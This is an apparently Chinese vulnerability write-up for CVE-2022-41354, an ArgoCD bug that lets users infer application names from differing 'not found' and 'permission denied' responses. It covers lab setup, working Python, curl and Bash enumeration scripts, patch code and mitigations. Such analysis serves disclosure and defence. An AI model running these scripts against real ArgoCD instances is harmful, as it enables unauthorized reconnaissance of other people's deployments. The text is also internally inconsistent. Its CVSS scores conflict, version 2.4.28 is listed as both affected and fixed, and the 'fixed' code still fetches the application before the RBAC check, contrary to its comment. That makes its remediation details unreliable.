一、漏洞简介¶
1.1 漏洞背景¶
在 2022 年底,安全研究人员发现 ArgoCD 的 API 端点存在信息泄露问题,允许未经授权的用户通过分析错误消息来枚举系统中存在的应用程序名称。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-41354 |
| 危害等级 | MEDIUM / 4.3 |
| 漏洞类型 | 应用程序名称枚举漏洞 |
| 披露时间 | 2023-03-27 |
| 影响组件 | ArgoCD |
- CVE编号: CVE-2022-41354
- 危害等级: 中等(Medium)
- CVSS评分: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
- 漏洞类型: 信息泄露(Information Disclosure)/ 访问控制缺陷
补充核验信息:公开时间:2023-03-27;NVD 评分:4.3(MEDIUM);CWE:CWE-203。
二、影响范围¶
2.1 受影响的版本¶
- ArgoCD >= 0.5.0 且 <= 2.4.28
- ArgoCD >= 2.5.0 且 < 2.5.16
- ArgoCD >= 2.6.0 且 < 2.6.7
2.2 不受影响的版本¶
- ArgoCD >= 2.4.28
- ArgoCD >= 2.5.16
- ArgoCD >= 2.6.7
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 具有基本的 API 访问权限:攻击者需要能够访问 ArgoCD API
- RBAC 配置不严格:许多 API 端点接受应用程序名称作为唯一参数
- 应用程序存在:目标 ArgoCD 实例中必须存在应用程序
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
ArgoCD 的许多 API 端点只接受应用程序名称作为参数。由于 RBAC 检查需要同时验证应用程序名称和项目名称,ArgoCD 会先获取请求的应用程序,然后再进行 RBAC 检查。
漏洞流程:
攻击者请求应用程序
↓
ArgoCD 查询应用程序
↓
应用程序不存在?
↓ ↓
是 否
↓ ↓
返回"未找到" 检查 RBAC
↓
有权限?
↓ ↓
是 否
↓ ↓
返回数据 返回"未授权"
通过观察不同的错误响应("未找到" vs "未授权"),攻击者可以推断应用程序是否存在。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
受影响的代码:
// server/application/application.go (漏洞版本)
func (s *Server) GetApplication(ctx context.Context, q *application.ApplicationQuery) (*appv1.Application, error) {
// 问题 1:先获取应用程序
app, err := s.appLister.Applications(s.ns).Get(q.Name)
if err != nil {
if errors.IsNotFound(err) {
// 泄露信息:应用程序不存在
return nil, status.Errorf(codes.NotFound, "application '%s' not found", q.Name)
}
return nil, err
}
// 问题 2:后才进行 RBAC 检查
if err := s.enf.EnforceErr(ctx.Value("claims"), "applications", "get", app.Spec.Project+"/"+q.Name); err != nil {
// 无权限时返回不同的错误
return nil, status.Errorf(codes.PermissionDenied, "permission denied")
}
return app, nil
}
根本原因:
- 时序问题:先查询资源,后进行权限检查
- 差异响应:不同的错误返回不同的状态码和消息
- RBAC 依赖:RBAC 需要项目名称,但 API 只接收应用名称
信息泄露示例:
// 攻击者尝试不同的应用程序名称
// 请求不存在的应用
GET /api/v1/applications/non-existent-app
响应: 404 Not Found - "application 'non-existent-app' not found"
// 请求存在但无权限的应用
GET /api/v1/applications/secret-production-app
响应: 403 Forbidden - "permission denied"
// 通过响应差异推断应用是否存在
四、漏洞复现(可选)¶
4.1 环境搭建¶
步骤 1:部署 ArgoCD v2.4.27(易受攻击版本)
# 创建命名空间
kubectl create namespace argocd
# 部署易受攻击版本
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.4.27/manifests/install.yaml
# 等待部署
kubectl wait --for=condition=available --timeout=600s deployment/argocd-server -n argocd
步骤 2:创建测试应用程序
# test-apps.yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: production-app
namespace: argocd
spec:
project: default
source:
repoURL: https://github.com/argoproj/argocd-example-apps.git
path: guestbook
destination:
server: https://kubernetes.default.svc
namespace: default
---
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: development-app
namespace: argocd
spec:
project: default
source:
repoURL: https://github.com/argoproj/argocd-example-apps.git
path: kustomize-guestbook
destination:
server: https://kubernetes.default.svc
namespace: default
kubectl apply -f test-apps.yaml
步骤 3:创建受限用户
# restricted-user.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.csv: |
p, test-user, applications, get, default/production-app, deny
p, test-user, applications, get, default/development-app, deny
policy.default: role:readonly
kubectl apply -f restricted-user.yaml
4.2 PoC 演示与测试过程¶
枚举脚本:
#!/usr/bin/env python3
# exploit_cve_2022_41354.py
import requests
import json
from concurrent.futures import ThreadPoolExecutor
class ApplicationEnumerator:
def __init__(self, target_url, auth_token):
self.target_url = target_url
self.headers = {
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
}
self.discovered_apps = []
def check_application(self, app_name):
"""检查应用程序是否存在"""
try:
response = requests.get(
f"{self.target_url}/api/v1/applications/{app_name}",
headers=self.headers,
verify=False,
timeout=5
)
if response.status_code == 404:
# 应用程序不存在
return None
elif response.status_code == 403:
# 应用程序存在但无权限
return app_name
elif response.status_code == 200:
# 应用程序存在且有权限
return app_name
else:
return None
except Exception as e:
print(f"[-] 错误检查 {app_name}: {e}")
return None
def enumerate_applications(self, wordlist):
"""枚举应用程序"""
print("[*] 开始枚举应用程序...")
with ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(self.check_application, wordlist)
for result in results:
if result:
self.discovered_apps.append(result)
print(f"[+] 发现应用程序: {result}")
return self.discovered_apps
def generate_wordlist():
"""生成常见的应用程序名称列表"""
common_names = [
"production", "prod", "production-app", "prod-app",
"development", "dev", "development-app", "dev-app",
"staging", "stage", "staging-app", "stage-app",
"frontend", "backend", "api", "web", "mobile",
"database", "db", "redis", "postgres", "mysql",
"nginx", "prometheus", "grafana", "elasticsearch",
"payment", "auth", "user", "admin", "dashboard",
"microservice", "service-a", "service-b", "service-c",
"app1", "app2", "app3", "test", "demo"
]
return common_names
if __name__ == "__main__":
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 配置
TARGET_URL = "https://localhost:8080"
AUTH_TOKEN = "your-limited-user-token" # 受限用户的令牌
# 创建枚举器
enumerator = ApplicationEnumerator(TARGET_URL, AUTH_TOKEN)
# 生成字典
wordlist = generate_wordlist()
# 执行枚举
discovered = enumerator.enumerate_applications(wordlist)
# 输出结果
print("\n" + "="*50)
print(f"[+] 发现的应用程序总数: {len(discovered)}")
print("[+] 应用程序列表:")
for app in discovered:
print(f" - {app}")
print("="*50)
使用 curl 进行手动枚举:
# 获取受限用户的令牌
LOGIN_RESPONSE=$(curl -k -X POST https://localhost:8080/api/v1/session \
-H "Content-Type: application/json" \
-d '{"username":"test-user","password":"password"}')
TOKEN=$(echo $LOGIN_RESPONSE | jq -r '.token')
# 测试不存在的应用
curl -k -H "Authorization: Bearer $TOKEN" \
https://localhost:8080/api/v1/applications/non-existent
# 响应: 404 - "application 'non-existent' not found"
# 测试存在的应用(生产环境)
curl -k -H "Authorization: Bearer $TOKEN" \
https://localhost:8080/api/v1/applications/production-app
# 响应: 403 - "permission denied"
# 通过响应差异确认应用存在
批量枚举脚本(Bash):
#!/bin/bash
# enumerate_apps.sh
TARGET="https://localhost:8080"
TOKEN="your-token-here"
WORDLIST="common-app-names.txt"
echo "[*] 开始枚举 ArgoCD 应用程序..."
while read app_name; do
RESPONSE=$(curl -k -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"$TARGET/api/v1/applications/$app_name")
if [ "$RESPONSE" -eq 403 ]; then
echo "[+] 发现应用程序: $app_name (无权限访问)"
elif [ "$RESPONSE" -eq 200 ]; then
echo "[+] 发现应用程序: $app_name (有权限访问)"
elif [ "$RESPONSE" -eq 404 ]; then
echo "[-] 不存在: $app_name"
fi
done < "$WORDLIST"
echo "[*] 枚举完成"
预期结果:
[*] 开始枚举 ArgoCD 应用程序...
[-] 不存在: non-existent
[-] 不存在: fake-app
[+] 发现应用程序: production-app (无权限访问)
[+] 发现应用程序: development-app (无权限访问)
[+] 发现应用程序: staging-app (有权限访问)
[*] 枚举完成
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到以下已修复版本:
# 升级到 v2.6.7 或更高版本
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.6.7 \
-n argocd
# 或升级到 v2.5.16
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.5.16 \
-n argocd
# 或升级到 v2.4.28
kubectl set image deployment/argocd-server \
argocd-server=argoproj/argocd:v2.4.28 \
-n argocd
修复代码示例(v2.6.7):
// server/application/application.go (修复后)
func (s *Server) GetApplication(ctx context.Context, q *application.ApplicationQuery) (*appv1.Application, error) {
// 修复:统一错误消息,避免信息泄露
app, err := s.appLister.Applications(s.ns).Get(q.Name)
if err != nil {
if errors.IsNotFound(err) {
// 修复:返回通用的未授权错误,而不是未找到
return nil, status.Errorf(codes.PermissionDenied, "permission denied")
}
return nil, err
}
// 先进行 RBAC 检查
if err := s.enf.EnforceErr(ctx.Value("claims"), "applications", "get", app.Spec.Project+"/"+q.Name); err != nil {
return nil, status.Errorf(codes.PermissionDenied, "permission denied")
}
return app, nil
}
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1:加强网络访问控制
# network-policy.yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: argocd-api-restrict
namespace: argocd
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: argocd-server
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: trusted-namespace
- ipBlock:
cidr: 192.168.1.0/24 # 仅允许内网访问
方案 2:实施 API 速率限制
# api-rate-limit.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: argocd-ingress
namespace: argocd
annotations:
nginx.ingress.kubernetes.io/limit-rps: "10"
nginx.ingress.kubernetes.io/limit-connections: "5"
nginx.ingress.kubernetes.io/limit-burst-multiplier: "1"
spec:
rules:
- host: argocd.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: argocd-server
port:
number: 80
方案 3:增强日志监控
# 监控可疑的 API 查询行为
kubectl logs -f deployment/argocd-server -n argocd | grep -E "404|403|permission denied" >> suspicious-activity.log
# 使用审计规则检测枚举攻击
cat > audit-policy.yaml <<EOF
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
resources:
- group: "argoproj.io"
resources: ["applications"]
verbs: ["get"]
EOF
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- ArgoCD Security Advisory GHSA-2q5c-qw9c-fmvq
- ArgoCD Release v2.6.7
- ArgoCD Release v2.5.16
- ArgoCD Release v2.4.28